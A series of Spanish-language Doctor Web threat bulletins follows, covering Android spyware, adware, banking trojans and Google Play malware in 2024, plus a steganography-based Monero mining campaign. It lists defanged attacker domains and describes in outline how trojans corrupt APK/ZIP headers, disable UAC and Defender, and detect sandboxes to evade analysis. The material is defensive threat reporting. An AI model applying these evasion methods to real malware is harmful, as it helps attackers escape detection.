Program.wSpy.3.origin: Programa espía comercial para la supervisión no autorizada de los propietarios de dispositivos Android. Permite a los atacantes leer la correspondencia (mensajes en mensajeros populares y SMS), escuchar el entorno, rastrear la ubicación del dispositivo, controlar el historial del navegador web, acceder a la agenda y los contactos, fotos y vídeos, hacer capturas de pantalla y fotos a través de la cámara del dispositivo, y funciona de keylogger.
Program.Reptilicus.8.origin: Una aplicación que permite espiar a los titulares de dispositivos Android. Puede supervisar la ubicación del dispositivo, recopilar datos sobre la correspondencia SMS y las conversaciones en redes sociales, escuchar las llamadas telefónicas y el entorno, crear capturas de pantalla, rastrear las entradas del teclado, copiar archivos del dispositivo y realizar otras acciones.
Program.Opensite.2.origin: Detección de aplicaciones Android similares cuya tarea es descargar sitios especificados y mostrar anuncios. Estas aplicaciones suelen hacerse pasar por otro software. Por ejemplo, hay modificaciones que se propagan camuflados por el reproductor de vídeo de YouTube. Cargan el sitio real del servicio y muestran banners publicitarios con la ayuda de SDK de publicidad conectados.

Software potencialmente peligroso

Las utilidades Tool.SilentInstaller que permiten iniciar las aplicaciones en Android sin instalar las mismas, el año pasado siguieron siendo líderes en cuanto al número de detecciones de software potencialmente peligroso. En total, a las mismas se refiere más del tercio de toro el software de este tipo detectado. Con mayor frecuencia, en los dispositivos se detectaban las modificaciones de Tool.SilentInstaller.17.origin (16,17%), Tool.SilentInstaller.14.origin (9,80%), Tool.SilentInstaller.7.origin (3,25%) y Tool.SilentInstaller.6.origin (2,99%).

Otro software potencialmente peligroso popular se refiere a las aplicaciones modificadas con la utilidad NP Manager. Esta utilidad incrusta en el software objetivo un módulo especial que permite esquivar la comprobación de la firma digital una vez realizada la modificación. El Antivirus Dr.Web detecta estos programas como varios variantes de la familia Tool.NPMod. Entre las mismas, con mayor frecuencia se detectaban las variaciones de Tool.NPMod.1. Durante el año, la popularidad de las mismas aumentó bastante: a las mismas se refiere un 16,49% de detecciones de aplicaciones potencialmente peligrosas, lo cual es 11,68 p. p. mayor que en el año 2023. Así mismo, la parte de software modificado con la utilidad NP Manager detectado por otra entrada de — Tool.NPMod.2, — fue de un 7,92%. Como resultado, en total los representantes de esta familia se encargaron casi de un cuarto de todas las detecciones de software potencialmente peligroso.

Entre los líderes también se observan las aplicaciones protegidas por el comprimidor Tool.Packer.1.origin — se detectaron en un 13,17% de los casos, lo cual supera en 12,38 p. p. los valores del año anterior. Además, de с 3,10% a 3,93% subió el número de detecciones de Tool.Androlua.1.origin. Es un framework que permite modificar los programas en Android instalados y ejecutar los scripts Lua que pueden ser potencialmente peligrosos.

Así mismo, la actividad de uno de los líderes del año 2023, la familia de utilidad, Tool.LuckyPatcher, al contrario, bajó un poco — de 14,02% a 8,16%. Estas utilidades permiten modificar los programas en Android al añadir a los mismos los scripts cargados de Internet. Con menor frecuencia se detectan programas protegidos por la utilidad ofuscadora Tool.Obfuscapk (reducción de 3,22% a 1,05%), así como por el comprimidor Tool.ApkProtector (reducción de 10,14% a 3,39%).

Diez aplicaciones potencialmente peligrosas más frecuentes detectadas en dispositivos en Android en el año 2024:

Tool.NPMod.1
Tool.NPMod.2: Detección de aplicaciones Android modificadas con la utilidad NP Manager. En estas aplicaciones se implementa un módulo especial que permite esquivar la verificación de la firma digital tras su modificación.
Tool.SilentInstaller.17.origin
Tool.SilentInstaller.14.origin
Tool.SilentInstaller.7.origin
Tool.SilentInstaller.6.origin: Plataformas potencialmente peligrosas que permiten a las aplicaciones ejecutar archivos APK sin instalarlos. Crean un entorno de ejecución virtual que no afecta al sistema operativo subyacente.
Tool.Packer.1.origin: Una utilidad comprimidora especializada para proteger las aplicaciones Android de modificaciones e ingeniería inversa. No es maliciosa, pero puede utilizarse para proteger tanto apps inofensivas como troyanas.
Tool.LuckyPatcher.1.origin: Utilidad que permite modificar las aplicaciones Android instaladas (crear parches para ellas) con el fin de cambiar la lógica de su funcionamiento o saltarse ciertas restricciones. Por ejemplo, con su ayuda los usuarios pueden intentar desactivar la verificación de acceso root en aplicaciones bancarias u obtener recursos ilimitados en juegos. Para crear parches, la utilidad descarga de Internet los scripts especialmente preparados, que cualquiera puede crear y añadir a una base de datos común. La funcionalidad de dichos scripts puede resultar maliciosa, por lo cual los parches creados pueden ser potencialmente peligrosos.
Tool.Androlua.1.origin: Detección de una serie de versiones potencialmente peligrosas de un framework especializado para el desarrollo de programas para Android en lenguaje de programación de scripts Lua. La lógica principal de las aplicaciones Lua está en los scripts correspondientes, que son cifrados y descifrados por el interpretador antes de su ejecución. A menudo, este framework por defecto solicita acceso a muchos permisos del sistema para su funcionamiento. Como resultado, los scripts Lua ejecutados a través de él pueden realizar varias acciones maliciosas en función de los permisos que se les hayan concedido.
Tool.Packer.3.origin: Detección de programas en Android cuyo código está cifrado y ofuscado por la utilidad NP Manager.

Adware

El adware más popular en el año 2024 fue la nueva familia de programas Adware.ModAd — al mismo se refiere un 47,45% de detecciones. Los líderes del año anterior, los representantes de la familia Adware.Adpush, se vieron en el segundo lugar con la parte de 14,76% (reducción del número de detecciones de 21,06 p. p.). En el tercer lugar con indicador de 8,68% observamos otra nueva familia de adware Adware.Basement.

Así mismo, fueron populares también las familias de Adware.Airpush (su parte bajó de 8,59% a 4,35%), Adware.Fictus (reducción de 4,41% a 3,29%), Adware.Leadbolt (reducción de 4,37% a 2,26%), Adware.ShareInstall (reducción de 5,04% a 1,71%). Los adware que en el año 2023 estaban en el segundo lugar, Adware.MagicPush, bajaron bastante su actividad y no entran en la primera decena, al cambiar enseguida a la posición once con indicador de 1,19% (reducción de 8,39 p. p.).

Diez adware más populares detectados en dispositivos en Android en el año 2024:

Adware.ModAd.1: Detección de algunas versiones modificadas del messenger WhatsApp, en cuyas funciones está implementado un código para cargar los enlaces especificados a través de la pantalla web mientras se utiliza el messenger. Estas direcciones web redirigen a sitios publicitados, como casinos y casas de apuestas en línea, sitios para adultos, etc.
Adware.Basement.1: Aplicaciones que visualizan publicidad importuna que a menudo lleva a sitios web maliciosos y fraudulentos. Comparten una base de códigos común con programas no deseados Program.FakeMoney.11.
Adware.Fictus.1
Adware.Fictus.1.origin: Un módulo publicitario que los atacantes incrustan en versiones clones de juegos y programas populares de Android. Se integra en los programas con un comprimidor especializado net2share. Las copias de software creadas de este modo se distribuyen a través de varios directorios de aplicaciones y muestran anuncios no deseados tras su instalación.
Adware.Adpush.21846
Adware.AdPush.39.origin: Módulos publicitarios que pueden integrarse en programas Android. Visualizan notificaciones publicitarias que engañan a los usuarios. Por ejemplo, dichas notificaciones pueden parecerse a mensajes del sistema operativo. Además, estos módulos recopilan una serie de datos sensibles y también pueden descargar otras aplicaciones e iniciar su instalación.
Adware.Airpush.7.origin: Complementos incrustados en aplicaciones Android que visualizan varios anuncios. En función de la versión y la modificación, puede tratarse de notificaciones publicitarias, ventanas emergentes o banners. Los atacantes suelen utilizar estos módulos para propagar malware al proponer la instalación de un software específico. Además, estos módulos transmiten información confidencial de varios tipos a un servidor remoto.
Adware.ShareInstall.1.origin: Un módulo de publicidad que puede ser integrado en programas en Android. Visualiza notificaciones de publicidad en la pantalla de bloqueo del SO Android.
Adware.Youmi.4: Detección de un módulo de publicidad no deseado que ubica los accesos directos publicitarios en la pantalla de inicio de dispositivos en Android.
Adware.Inmobi.1: Detección de algunas versiones del SDK del adware Inmobi que pueden realizar llamadas telefónicas y añadir eventos al calendario de los dispositivos en Android.

Amenazas en Google Play

En 2024, los analistas de virus de Doctor Web identificaron más de 200 amenazas en el catálogo de Google Play con más de 26.700.000 descargas totales. Además del troyano Android.Click.414.origin, hubo muchos otros, como el troyano Android.HiddenAds. Se propagaban camuflados por una gran variedad de software: editores de fotos, escáneres de códigos de barras, colecciones de imágenes e incluso un sistema de alarma «antirrobo» para proteger tu smartphone de extraños. Estos troyanos ocultan sus iconos tras la instalación y empiezan a mostrar anuncios agresivos que bloquean la interfaz del sistema y otros programas e impiden el uso normal del dispositivo.

Unos ejemplos de troyanos adware detectados en Google Play en el año 2024. Android.HiddenAds.4013 se ocultaba en un editor de fotos Cool Fix Photo Enhancer, Android.HiddenAds.4034 — en una recopilación de imágenes Cool Darkness Wallpaper, Android.HiddenAds.4025 — en un programa para reconocer los códigos de barras QR Code Assistant, y Android.HiddenAds.656.origin — en un software de alarma Warning Sound GBD

Nuestros expertos también detectaron varios programas troyanos protegidos por los malintencionados con un comprimidor sofisticado.

En la aplicación Lie Detector Fun Prank se ocultaba un troyano Android.Packed.57156, y en el programa Speaker Dust and Water Cleaner — un troyano Android.Packed.57159, protegidos por un comprimidor

Otro malware detectado eran representantes de la familia Android.FakeApp, que se utilizan en diversas tramas fraudulentas. La principal tarea de la mayoría de estos troyanos es abrir un enlace determinado, pero en determinadas condiciones también pueden funcionar como software declarado. Muchos de ellos se propagan camuflados por varios programas financieros (por ejemplo, guías y tutoriales, calculadoras de rentabilidad, aplicaciones de compraventa de acciones, herramientas de contabilidad doméstica), cuadernos, agendas, programas de concursos y encuestas, y otros. Cargaban sitios web fraudulentos dedicados a inversiones.

Unos ejemplos de troyanos Android.FakeApp que cargaban los enlaces a las web fraudulentas: Android.FakeApp.1681 (SenseStrategy), Android.FakeApp.1708 (QuntFinanzas)

Una parte de software falso Android.FakeApp se propagaba camuflada por varios juegos. Muchos de ellos también podían proporcionar la funcionalidad declarada, pero su tarea principal era cargar los sitios web de casinos en línea y casаs de apuestas.

Unos ejemplos de troyanos camuflados por juegos Android.FakeApp que cargaban los enlaces a los sitios web de enlaces de casas de apuestas y casinos en línea: Android.FakeApp.1622 (3D Card Merge Game), Android.FakeApp.1630 (Crazy Lucky Candy)

Algunos troyanos de esta familia han vuelto a camuflarse por aplicaciones de búsqueda de empleo. Estos falsos programas descargan falsas ofertas de empleo y piden a los usuarios que creen un «currículum» proporcionando información personal. En otros casos, los troyanos pueden sugerir a las víctimas potenciales que se pongan en contacto con el «empleador» a través de messenger. En realidad, las víctimas potenciales escribirán a delincuentes que intentarán atraerlas hacia una u otra estratagema fraudulenta.

Unos ejemplos de troyanos Android.FakeApp que los estafadores presentaban como software para buscar empleo: Android.FakeApp.1627 (Aimer), Android.FakeApp.1703 (FreeEarn)

Además, se detectaron en Google Play otras aplicaciones troyanas que suscribían a los usuarios a servicios de pago. Uno de ellos era Android.Subscription.22, que se propagaba camuflada por InstaPhoto Editor.

Un troyano Android.Subscription.22, destinado para suscribir a los usuarios a servicios de pago

Otros troyanos de este tipo fueron los representantes de familias similares Android.Joker y Android.Harly, que tienen arquitectura modular. Los primeros pueden descargar los componentes auxiliares de Internet, y los segundos destacan por almacenar habitualmente los módulos requeridos cifrados entre sus recursos.

Unos ejemplos de programas que suscribían a sus víctimas a servicios de pago. Android.Joker.2280 se ocultaba en una aplicación con horoscopos My Horoscope, y Android.Harly.87 — en el juego BlockBuster

Además de malware, los expertos de Doctor Web detectaron nuevo software no deseado en Google Play, incluidas varias modificaciones de Program.FakeMoney.11 y Program.FakeMoney.14. Estos programas pertenecen a una familia de aplicaciones que ofrecen a los usuarios realizar diversas tareas (a menudo para ver anuncios) a cambio de recompensas virtuales. Supuestamente, las recompensas pueden convertirse posteriormente en dinero real o premios, pero el usuario debe acumular una cierta cantidad de dinero para poder retirar las «ganancias». Sin embargo, incluso en caso de éxito, el usuario no recibe pagos reales al final.

Un variante de Program.FakeMoney.11 se difundía como juego Copper Boom, y Program.FakeMoney.14 estaba camuflado por un juego Merge Party

Además, nuestros analistas de virus identificaron nuevo adware en Google Play durante el año. Entre ellos había aplicaciones y juegos con un módulo de publicidad Adware.StrawAd incrustado que pudo mostrar anuncios de varios proveedores de servicios.

Unos ejemplos de juegos con un módulo de publicidad Adware.StrawAd: Crazy Sandwich Runner (Adware.StrawAd.1), Poppy Punch Playtime (Adware.StrawAd.3), Finger Heart Matching (Adware.StrawAd.6), Toimon Battle Playground (Adware.StrawAd.9)

Las aplicaciones de adware Adware.Basement también se propagaron en Google Play, y sus anuncios a menudo llevan a sitios maliciosos y fraudulentos. Cabe destacar que esta familia comparte una base común de códigos con los programas no deseados Program.FakeMoney.11.

Unos ejemplos de adware no deseado Adware.Basement Lie Detector: Lie Prank Test, TapAlarm:Don't touch my phone y Magic Voice Changer — Adware.Basement.1, Auto Clicker:Tap Auto — Adware.Basement.2

Troyanos bancarios

Según las estadísticas de detección de Dr.Web Security Space para dispositivos móviles, en 2024 la proporción de troyanos bancarios en el número total de programas maliciosos detectados fue del 6,29%, lo que supone 2,71 p. p. más que el año anterior. Su actividad no ha dejado de disminuir desde enero, pero el número de ataques empezó a aumentar de nuevo a mediados de primavera. Durante el tercer trimestre, su actividad se mantuvo casi sin cambios, tras lo cual siguió aumentando, alcanzando un máximo anual en noviembre.

En 2024 otra vez se difundieron ampliamente las familias populares de troyanos bancarios. Entre las mismas, malware Coper, Hydra (Android.BankBot.1048.origin, Android.BankBot.563.origin), Ermac (Android.BankBot.1015.origin, Android.BankBot.15017), Alien (Android.BankBot.745.origin, Android.BankBot.1078.origin), Anubis (Android.BankBot.670.origin). Además, se observaron ataques con uso de familias Cerberus (Android.BankBot.11404), GodFather (Android.BankBot.GodFather.3, Android.BankBot.GodFather.14.origin) y Zanubis (Android.BankBot.Zanubis.7.origin).

Durante el año, los atacantes distribuyeron activamente troyanos espía Android.SpyMax, que tienen una amplia gama de características maliciosas, incluida la capacidad de controlar los dispositivos infectados de forma remota. También se utilizan ampliamente como troyanos bancarios. Esta familia al principio incluía el troyano RAT multifuncional SpyNote (RAT - Remote Administration Trojan). Sin embargo, después de que se filtrara su código fuente, empezaron a aparecer todo tipo de modificaciones basadas en él, como CraxsRAT y G700 RAT. Las estadísticas de detección de Dr.Web Security Space para dispositivos móviles confirman que los representantes de esta familia comenzaron a estar activos en la segunda mitad de 2023, y desde entonces el número de detecciones ha seguido creciendo casi cada mes. Esta tendencia aún continúa.

Los troyanos Android.SpyMax se dirigen a usuarios de todo el mundo. El año pasado se observaron numerosos ataques a usuarios rusos, el 46,23% de las detecciones de la familia estaban dirigidas a este público. El malware también se propagó de forma más activa entre titulares de dispositivos Android brasileños (35,46% de las detecciones) y turcos (5,80% de las detecciones).

Cabe destacar que la propagación de este malware en Rusia no se produce principalmente a través de spam o variantes clásicas de phishing, sino más bien a través de una de las etapas del fraude telefónico. Al principio, los atacantes que llaman a una víctima potencial intentan convencerla de que son funcionarios de un banco o de las fuerzas del orden. Informan sobre un supuesto problema — un intento de robo de dinero de una cuenta bancaria o una solicitud de préstamo no planificada — o, por el contrario, dan «buenas noticias» sobre supuestos pagos públicos pendientes. Cuando los estafadores se dan cuenta de que el usuario les cree, le animan a instalar una «actualización antivirus», una «aplicación bancaria» u otro software, por ejemplo, para «garantizar una transacción segura». En realidad, dicho programa oculta el troyano Android.SpyMax.

Los usuarios de Rusia en el año 2024 también afrontaron las familias de bankers Falcon (Android.BankBot.988.origin, Android.Banker.5703) y Mamont (Android.Banker.637.origin, Android.Banker.712.origin). Además, se observaron los ataques de troyanos bancarios Android.Banker.791.origin y Android.Banker.829.origin a titulares de dispositivos en Android de Rusia y Uzbekistán, así como del banker Android.Banker.802.origin a usuarios de Rusia, Azerbaiyán y Uzbekistán. El objetivo del troyano Android.Banker.757.origin eran usuarios de Rusia, Uzbekistán, Tayikistán y Kazakstán.

Nuestros expertos otra vez detectaron ataques de troyanos MoqHao (Android.Banker.367.origin, Android.Banker.430.origin, Android.Banker.470.origin, Android.Banker.593.origin), cuyo objetivo eran usuarios de varios países, incluidos el Sudeste Asiático y Asia-Pacífico. El objetivo de otros troyanos también era el mismo público. Por ejemplo, los propietarios surcoreanos de dispositivos Android afrontaron las familias Fakecalls (Android.BankBot.919.origin, Android.BankBot.14423, Android.Banker.5297), IOBot (Android.BankBot.IOBot.1.origin) y Wroba (Android.Banker.360.origin). Otras modificaciones de Wroba (Android.BankBot.907.origin, Android.BankBot.1128.origin) atacaron a usuarios de Japón.

A los residentes de China, entre otros, les amenazaba el troyano Android.Banker.480.origin, a los usuarios de Vietnam — Android.BankBot.1111.origin. Al mismo tiempo, los malintencionados solían aplicar troyanos TgToxic (Android.BankBot.TgToxic.1) para atacar a clientes de entidades de crédito de Indonesia, Tailandia y Taiwán y el troyano GoldDigger (Android.BankBot.GoldDigger.3) — para atacar a usuarios de Tailandia y Vietnam.

Otra vez fueron detectados los ataques a usuarios iraníes — los mismos afrontaron los bankers como Android.Banker.709.origin, Android.Banker.5292, Android.Banker.777.origin, Android.BankBot.1106.origin y algunos otros. Y en ataques a clientes turcos de bancos, además de otros troyanos, también se observaron los representantes de la familia Tambir (Android.BankBot.1104.origin, Android.BankBot.1099.origin, Android.BankBot.1117.origin).

Entre los titulares hindúes de dispositivos en Android se difundieron los bankers Android.Banker.797.origin, Android.Banker.817.origin y Android.Banker.5435 — se camuflaban por software que supuestamente tenía que ver con entidades de crédito Airtel Payments Bank, PM KISAN e IndusInd Bank. Además, se mantuvo la actividad de los troyanos bancarios Rewardsteal (Android.Banker.719.origin, Android.Banker.5147, Android.Banker.5443) cuyo objetivo básico son los clientes hindúes de los bancos Axis bank, HDFC Bank, SBI, ICICI Bank, RBL bank y Citi bank.

En los países de Latinoamérica otra vez se detectó la actividad de los troyanos PixPirate (Android.BankBot.1026.origin) que atacan a clientes de bancos brasileños.

A los usuarios europeos, en particular, estaban destinados los troyanos Anatsa (Android.BankBot.Anatsa.1.origin) y Copybara (Android.BankBot.15140, Android.BankBot.1100.origin). Estos últimos atacan sobre todo a residentes de Italia, Reino Unido y España.

Durante 2024, los analistas de virus de Doctor Web registraron un aumento de popularidad de algunos métodos de protección de malware en Android — principalmente troyanos bancarios —contra el análisis y la detección. En particular, los atacantes realizaron varias manipulaciones con el formato ZIP — la base de los archivos APK. Como resultado, muchas herramientas de análisis estático que utilizan algoritmos estándar para trabajar con archivos ZIP son incapaces de procesar correctamente estos archivos «dañados». Al mismo tiempo, los troyanos son percibidos por el sistema operativo Android como programas normales y se instalan y funcionan correctamente.

Una de las técnicas populares fue la manipulación con campos compression method y compressed size en la estructura del encabezado del archivo local en APK. Los malintencionados indican deliberadamente los valores incorrectos en los campos compressed size y uncompressed size (tamaño comprimido o tamaño sin compresión), o escriben un método de compresión incorrecto o inexistente en el campo compression method. En otra realización, se puede especificar un método sin comprimir para el archivo, así mismo, los campos de encabezado compressed size y uncompressed size no coincidirán, aunque deben coincidir.

Otro método popular - el uso de datos de disco incorrectos en el ECDR (End of Central Directory Record, fin de la entrada del catálogo central) y CD (Central Directory, el encabezado del archivo de directorio central - aquí están los datos del archivo y los parámetros de archivo). Ambos parámetros deberían ser los mismos para un archivo completo, pero los ciberdelincuentes pueden especificar valores diferentes para ellos, como si se tratara de un multi-archivo en vez de un archivo completo.

También fue popular la técnica de especificar un indicador en los encabezados de algunos archivos locales de un archivo archivado para indicar que los archivos están cifrados. En realidad, no están cifrados, pero esto hace que el archivo archivado se lea incorrectamente cuando se analiza.

Junto con la manipulación de la estructura de los archivos APK los creadores también usaron toros modos, por ejemplo, la modificación del archivo de configuración de aplicaciones en AndroidManifest.xml. En particular, añadían bytes basura b'\x00' a la estructura de los atributos del archivo, por lo cual el mismo no se leía correctamente.

Perspectivas y tendencias

El año pasado demostró que los ciberdelincuentes siguen enriqueciéndose activamente a costa de los titulares de dispositivos Android. Sus principales herramientas siguen siendo adware y los troyanos bancarios, las aplicaciones maliciosas con funciones de spyware y software fraudulento. En este sentido, cabe esperar que en 2025 surjan nuevas amenazas de este tipo.

A pesar de las medidas adoptadas para mejorar la seguridad de Google Play, este catálogo sigue siendo una de las fuentes de amenazas para Android. Por lo tanto, no se puede descartar la aparición de nuevas aplicaciones maliciosas y no deseadas.

Otro caso de consolas TV en Android infectadas el año pasado demuestra que los creadores de virus utilizan varios vectores de ataque. Es muy posible que los atacantes no sólo vuelvan a fijarse en estos dispositivos, sino que sigan buscando otros objetivos potenciales entre la variedad de dispositivos Android.

Es posible que los creadores de virus sigan introduciendo activamente nuevas formas de esquivar el análisis y la detección de programas maliciosos.

Los expertos de Doctor Web siguen supervisando el desarrollo de las ciberamenazas móviles y garantizan la protección de nuestros usuarios. Para mejorar su seguridad, instale el antivirus Dr.Web para dispositivos móviles, que le ayudará a afrontar los programas maliciosos, no deseados y otros programas peligrosos, estafadores y otras amenazas.

Indicadores de compromiso

Doctor, ¿de dónde saca usted esas imágenes? El uso de la esteganografía en la minería de criptomonedas

Fri, 24 Jan 2025 12:10:26 GMT

24 de enero de 2025

Durante el análisis de datos de telemetría, los expertos del laboratorio de virus Doctor Web identificaron muestras de malware que, tras un examen más detallado, resultaron ser componentes de una campaña activa de minería de la criptomoneda Monero. Esta campaña destaca por estar implementada como una serie de cadenas maliciosas, dos de las cuales se basan en la ejecución de scripts que extraen cargas maliciosas de archivos de imágenes en formato BMP.

El inicio de la campaña probablemente se remonta a 2022, cuando se detectó un archivo ejecutable Services.exe — una aplicación .NET diseñada para ejecutar un script VBScript. Este script funciona como un backdoor, al conectarse con el servidor de los atacantes y al ejecutar scripts y archivos enviados en respuesta. De este modo, se descargaba en el ordenador de la víctima un archivo malicioso ubr.txt, que en realidad era un script para el interpretador PowerShell, cuya extensión se había cambiado de .ps1 a .txt.

El script ubr.txt comprueba si hay miners que pudieran haber sido instalados previamente en la máquina comprometida y los sustituye por las versiones que los atacantes necesitan. Los archivos instalados por el script son un miner SilentCryptoMiner y su configuración, con los cuales los hackers minaban la criptomoneda Monero.

Ya hemos informado en varias ocasiones sobre el uso de este miner por los atacantes atraídos por su configuración sencilla, sus capacidades avanzadas de minar distintos tipos de criptomonedas, su capacidad de pasar desapercibido ante las herramientas de diagnóstico y el soporte de la administración remota de todos los miners en la botnet a través de un panel web.

En el marco de esta campaña, los archivos del miner se camuflan por varios tipos de software, en particular, para realizar videollamadas en Zoom (ZoomE.exe y ZoomX.exe) o del servicio Windows (Service32.exe y Service64.exe) etc. Aunque hay varios conjuntos de archivos maliciosos que tienen varios nombres, todos ellos realizan las mismas tareas — eliminan otros miners, instalan un nuevo miner y entregan la actualización para el mismo.

Un script PowerShell ubr.txt

Además, el miner consulta el dominio getcert[.]net donde está ubicado el archivo m.txt con configuración de minería de la criptomoneda. Este recurso también funciona en otras cadenas.

Un archivo m.txt que contiene la configuración del miner

Posteriormente, los delincuentes modificaron la metodología del ataque, al hacerla bastante más interesante y al incorporar las técnicas de esteganografía.

La esteganografía es un método de ocultar la información dentro de otra información. A diferencia de la criptografía, donde los datos cifrados pueden llamar la atención, la esteganografía permite ocultar la información de manera discreta, por ejemplo, dentro de una imagen. Muchos expertos en ciberseguridad creen que la popularidad del uso de la esteganografía para esquivar las medidas de protección seguirá aumentándose.

La imagen a la izquierda (autor de la foto original: Marek Piwnicki) contiene una imagen oculta con un logo de la empresa Doctor Web

La segunda cadena, más nueva, fue realizada con el troyano Amadey que inicia un script PowerShell- Async.ps1 que descarga las imágenes en formato BMP desde un hosting de imágenes legítimo imghippo.com. Con algoritmos de esteganografía, se extraen dos archivos ejecutables de las imágenes: un stealer Trojan.PackedNET.2429 y la carga útil que:

desactiva la solicitud UAC para mejorar los privilegios para administradores,
añade múltiples excepciones en el antivirus integrado Windows Defender,
desactiva las notificaciones en Windows,
crea una nueva tarea en la ruta \Microsoft\Windows\WindowsBackup\ con el nombre 'User'.

Contenido del script Async1.ps

Al realizar la tarea, se consultan los dominios de los malintencionados en la entrada DNS TXT de los cuales hay una dirección de almacenamiento de la carga útil posterior. Al descargar la misma, se descomprime el archivo archivado con imágenes en formato BMP y se inician los archivos siguientes:

Cleaner.txt — un script PowerShell que elimina cualquier otro miner,
m.txt — un script PowerShell que extrae la carga útil de imágenes m.bmp y IV.bmp. La carga dentro de las imágenes es un miner SilentCryptoMiner y un inyector que inicia el mismo,
Net.txt — un script que lee la entrada DNS TXT de los dominios windowscdn[.]site y buyclients[.]xyz. Esta entrada incluye un enlace a la carga útil que lleva al servicio raw.githack[.]com.

La entrada DNS TXT es una extensión de la entrada estándar DNS y contiene un texto que se utiliza con fines legítimos para verificar el dominio. Sin embargo, el dueño del dominio puede introducir los datos aleatorios allí, por ejemplo, como en este caso, un enlace a la carga útil.

Contenido del archivo con imágenes maliciosas

Los módulos del miner se desarrollan constantemente. Últimamente los autores usan los recursos legítimos para alojar las imágenes maliciosas y la plataforma GitHub para guardar la carga útil. Además, se detectaron los módulos que comprueban el hecho del inicio en sandbox o en máquinas virtuales.

Un módulo que comprueba si los nombres de aplicaciones iniciadas corresponden a los nombres de herramientas populares usadas por los investigadores en ciberseguridad

Uno de los monederos indicados en la configuración del miner fue creado en mayo de 2022, y hasta la fecha se han transferido 340 XMR al mismo. Sin embargo, el valor de esta criptomoneda atraviesa un período de alta volatilidad, por lo que las ganancias de los atacantes podrían oscilar entre 6 y 7,5 millones de rublos. Según el patrón en forma de onda del hash rate, que indica la activación y desactivación regular de los equipos, esta campaña de minería involucra principalmente a usuarios ordinarios del mismo grupo de husos horarios. El hash rate promedio es de 3,3 millones de hashes por segundo, lo que permite a las máquinas comprometidas generar alrededor de 1 XMR cada 40 horas para los atacantes.

Esta campaña es solo la punta del iceberg en el mundo de las ciberamenazas basadas en las técnicas de esteganografía, y resalta la importancia de estar alerta en el entorno digital. Las recomendaciones de la empresa Doctor Web siguen siendo las mismas: se recomienda instalar software solo desde orígenes de confianza, no abrir enlaces sospechosos ni desactivar la protección antivirus al descargar archivos de Internet.

Un esquema del ataque

Indicadores de compromiso

Más información de SilentCryptoMiner

Más información de PowerShell.Starter.98

Más información de PowerShell.DownLoader.1640

Más información de Trojan.PackedNET.2429

Más información de VBS.DownLoader.2822

Doctor Web: informe de la actividad de virus para dispositivos móviles en IV trimestre de 2024

Thu, 26 Dec 2024 07:00:00 GMT

26 de diciembre de 2024

Según los datos estadísticos de detecciones de Dr.Web Security Space para dispositivos móviles, en el IV trimestre del año 2024 el malware más destacado se refiere a los troyanos de publicidad Android.HiddenAds. Los siguieron las aplicaciones malware Android.FakeApp usadas para estafas. Los últimos de los tres líderes fueron los troyanos Android.Siggen con funcionalidad maliciosa de varios tipos.

Durante el trimestre, los analistas de virus de la empresa Doctor Web detectaron múltiples amenazas en el catálogo Google Play. Entre las mismas hubo múltiples troyanos Android.FakeApp, así como malware de familias Android.Subscription y Android.Joker que suscribían a los usuarios a servicios de pago. También fueron detectados más troyanos de publicidad Android.HiddenAds. Además, los malintencionados difundieron malware protegido por un comprimidor sofisticado.

TENDENCIAS CLAVE DEL IV TRIMESTRE

Alta actividad de troyanos de publicidad Android.HiddenAds y programas de estafa Android.FakeApp
 Difusión de múltiple malware a través del catálogo Google Play

Según los datos de Dr.Web Security Space para dispositivos móviles

Android.FakeApp.1600: Un programa troyano que abre el sitio web indicado en su configuración. Las modificaciones conocidas de esta aplicación malware abren el sitio web del casino online.
Android.HiddenAds.655.origin
Android.HiddenAds.657.origin: Programas troyanos para visualizar publicidad importuna. Los representantes de la familia Android.HiddenAds se difunden con frecuencia camuflados por aplicaciones legales y en algunos casos se instalan en el catálogo de sistema por otro malware. Al penetrar en dispositivos en Android, estos troyanos bancarios normalmente ocultan al usuario su presencia en el sistema — por ejemplo, «ocultan» el icono de la aplicación del menú de la ventana principal.
Android.Packed.57083: Detección de malware protegido por el comprimidor ApkProtector. Entre los mismos, hay troyanos bancarios, software espía y otro malware.
Android.Click.1751: Un troyano que se incrusta en modificaciones del Messenger WhatsApp y se camufla por clases de bibliotecas de Google. Durante el uso de la aplicación portadora, Android.Click.1751 hace solicitudes a uno de los servidores de control. En respuesta, el troyano recibe dos enlaces, uno de los cuales sirve para usuarios de habla rusa y otro para todos los demás. Luego visualiza una ventana de diálogo con el contenido recibido del servidor y al pulsar el usuario el botón de confirmación visualiza el enlace correspondiente en el navegador.

Program.FakeMoney.11: Detección de aplicaciones que supuestamente permiten ganar dinero al realizar alguna acción o tarea. Estos programas imitan el abono de premios, así mismo, para poder usar el dinero “ganado” hay que acumular un importe determinado. Suelen tener una lista de sistemas de pago populares y bancos a través de los cuales supuestamente se puede transferir los premios. Pero hasta cuando los usuarios consiguen acumular un importe necesario para poder usar el dinero, no reciben los pagos prometidos. Esta entrada también se usa para detectar otro malware basado en el código de estos programas.
Program.FakeAntiVirus.1: Detección de adware que imita el funcionamiento de software antivirus. Estos programas pueden informar sobre las amenazas no existentes y engañar a usuarios al demandar el pago de la versión completa.
Program.CloudInject.1: Detección de aplicaciones en Android modificadas con el servicio en la nube CloudInject y la utilidad en Android del mismo nombre (añadida a la base de virus Dr.Web como Tool.CloudInject). Estos programas se modifican en el servidor remoto, así mismo, el usuario interesado en su modificación (modder) no controla qué exactamente se incrustará en los mismos. Además, las aplicaciones reciben un conjunto de permisos peligrosos. Una vez modificados los programas, el modder puede administrarlos de forma remota — bloquearlos, visualizar los diálogos personalizados, supervisar el hecho de instalación y eliminación de otro software etc.
Program.TrackView.1.origin: Detección de la aplicación que permite supervisar a usuarios a través de dispositivos en Android. Con este programa, los malintencionados pueden detectar la ubicación de los dispositivos objetivo, usar la cámara para grabar vídeos y crear fotos, hacer la escucha con el micro, crear grabaciones de audio etc.
Program.SecretVideoRecorder.1.origin: Detección de varias versiones de la aplicación para la grabación de fotos y vídeos en segundo plano a través de las cámaras incrustadas de dispositivos en Android. Este programa puede funcionar sin autorización al permitir desactivar las notificaciones de grabación, así como sustituir el icono y la descripción de la aplicación por los falsos. Esta funcionalidad lo convierte en potencialmente peligroso.

Tool.NPMod.1: Detección de aplicaciones en Android modificadas con la utilidad NP Manager. Estos programas tienen incrustado un módulo especial que permite esquivar la comprobación de la firma digital después de su modificación.
